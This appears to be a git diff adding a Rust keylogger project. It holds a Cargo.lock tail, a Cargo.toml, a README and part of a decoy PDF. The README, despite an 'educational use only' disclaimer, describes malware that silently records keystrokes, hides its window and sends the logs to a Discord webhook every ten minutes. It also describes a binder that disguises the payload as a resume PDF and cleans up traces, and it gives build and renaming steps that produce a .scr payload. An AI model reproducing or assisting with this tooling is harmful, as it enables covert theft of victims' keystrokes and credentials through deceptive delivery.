"b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasi" +version = "0.14.2+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3" +dependencies = [ + "wit-bindgen-rt", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6" +dependencies = [ + "bumpalo", + "log", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61" +dependencies = [ + "cfg-if", + "js-sys", + "once_cell", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "web-sys" +version = "0.3.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.54.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9252e5725dbed82865af151df558e754e4a3c2c30818359eb17465f1346a1b49" +dependencies = [ + "windows-core 0.54.0", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.54.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12661b9c89351d684a50a8a643ce5f608e20243b9fb84687800163429f161d65" +dependencies = [ + "windows-result 0.1.2", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result 0.3.4", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.59.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-link" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" + +[[package]] +name = "windows-result" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-result" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.2", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c66f69fcc9ce11da9966ddb31a40968cad001c5bedeb5c2b82ede4253ab48aef" +dependencies = [ + "windows_aarch64_gnullvm 0.53.0", + "windows_aarch64_msvc 0.53.0", + "windows_i686_gnu 0.53.0", + "windows_i686_gnullvm 0.53.0", + "windows_i686_msvc 0.53.0", + "windows_x86_64_gnu 0.53.0", + "windows_x86_64_gnullvm 0.53.0", + "windows_x86_64_msvc 0.53.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" + +[[package]] +name = "winreg" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76a1a57ff50e9b408431e8f97d5456f2807f8eb2a2cd79b06068fc87f8ecf189" +dependencies = [ + "cfg-if", + "winapi", +] + +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "wit-bindgen-rt" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" +dependencies = [ + "bitflags 2.9.1", +] + +[[package]] +name = "writeable" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea2f10b9bb0928dfb1b42b65e1f9e36f7f54dbdf08457afefb38afcdec4fa2bb" + +[[package]] +name = "yoke" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f41bb01b8226ef4bfd589436a297c53d118f65921786300e427be8d487695cc" +dependencies = [ + "serde", + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38da3c9736e16c5d3c8c597a9aaa5d1fa565d0532ae05e27c24aa62fb32c0ab6" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zerofrom" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zerotrie" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "36f0bbd478583f79edad978b407914f61b2972f5af6fa089686016be8f9af595" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a05eb080e015ba39cc9e23bbe5e7fb04d5fb040350f99f34e338d5fdd294428" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b96237efa0c878c64bd89c436f661be4e46b2f3eff1ebb976f7ef2321d2f58f" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..9b39193 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "keylogger" +version = "0.1.0" +edition = "2021" + +[dependencies] +windows = { version = "0.54.0", features = [ + "Win32_UI_Input_KeyboardAndMouse", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Console", + "Win32_Foundation" +] } +reqwest = { version = "0.11", features = ["blocking", "json"] } +chrono = "0.4" +winreg = "0.11" + diff --git a/README.md b/README.md new file mode 100644 index 0000000..709e927 --- /dev/null +++ b/README.md @@ -0,0 +1,83 @@ +# 🦀 Rust Keylogger & Binder (Educational Use Only) + +> 🚨 **DISCLAIMER**: This project is for **educational and ethical hacking training only**. It is intended to help red teamers, blue teamers, and cybersecurity learners understand the mechanics of keyloggers and stealth payload delivery techniques. **Do not run this on any system you do not own or have explicit permission to test. Always use isolated virtual machines or lab environments.** + +--- + +## 📚 Overview + +This repository contains a complete **Rust-based keylogger** and a **stealth delivery binder** simulating a real-world attack scenario. The purpose is to demonstrate how a seemingly harmless file (like a PDF) can be used to drop and execute a keylogger in the background. + +The project is split into two components: + +1. **Keylogger (`main.rs`)** + + - Captures keystrokes silently. + - Sends logs to a Discord webhook every 10 minutes. + - Hides its console window. + - Designed to simulate persistent, low-noise keylogging behavior. + +2. **Binder (`binder.rs`)** + - Bundles the compiled keylogger with a decoy PDF file. + - Executes both: the real PDF (decoy) and the keylogger (.scr). + - Deletes temporary files after execution to reduce footprint. + +--- + +## 📂 Project Structure + +Keylogger/ +├── src/ +│ ├── main.rs # Main keylogger logic +│ └── bin/ +│ └── binder.rs # PDF + SCR binder +├── assets/ +│ ├── resume.pdf # Decoy PDF +│ └── win_payload.scr # Keylogger executable (renamed) +├── config/ +│ └── webhook.url # Your Discord webhook URL (plaintext) +├── Cargo.toml +├── README.md +└── target/ # Cargo build output + +--- + +## ⚙️ Requirements + +- Rust (latest stable recommended) → [Install Rust](https://www.rust-lang.org/tools/install) +- Windows machine or VM +- Discord account for receiving webhook logs +- PDF file to use as decoy (already provided, named `sample.pdf` , in `assets` directory) + +--- + +## 🔧 Setup & Compilation + +### 1. Clone the Repo + +```bash +git clone https://github.com/yourusername/rust-keylogger.git +cd rust-keylogger +``` + +### 2. Set Up Your Webhook + +Inside the config/webhook.url directory, replace your webhook address (ex , Discord , Telegram , ...): + +```bash + https://discordapp.com/api/webhooks/ +``` + +The Rust code reads this file at compile time using: + +### 3. Compile the Keylogger Binary + +```bash +cargo build --release --bin keylogger +``` + +Rename the resulting file: + +```bash +mv target/release/keylogger.exe assets/win_payload.scr +``` diff --git a/assets/sample.pdf b/assets/sample.pdf new file mode 100644 index 0000000000000000000000000000000000000000..4603bd39c13f49b897b7bd0efbcf55374113246a GIT binary patch literal 49672 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 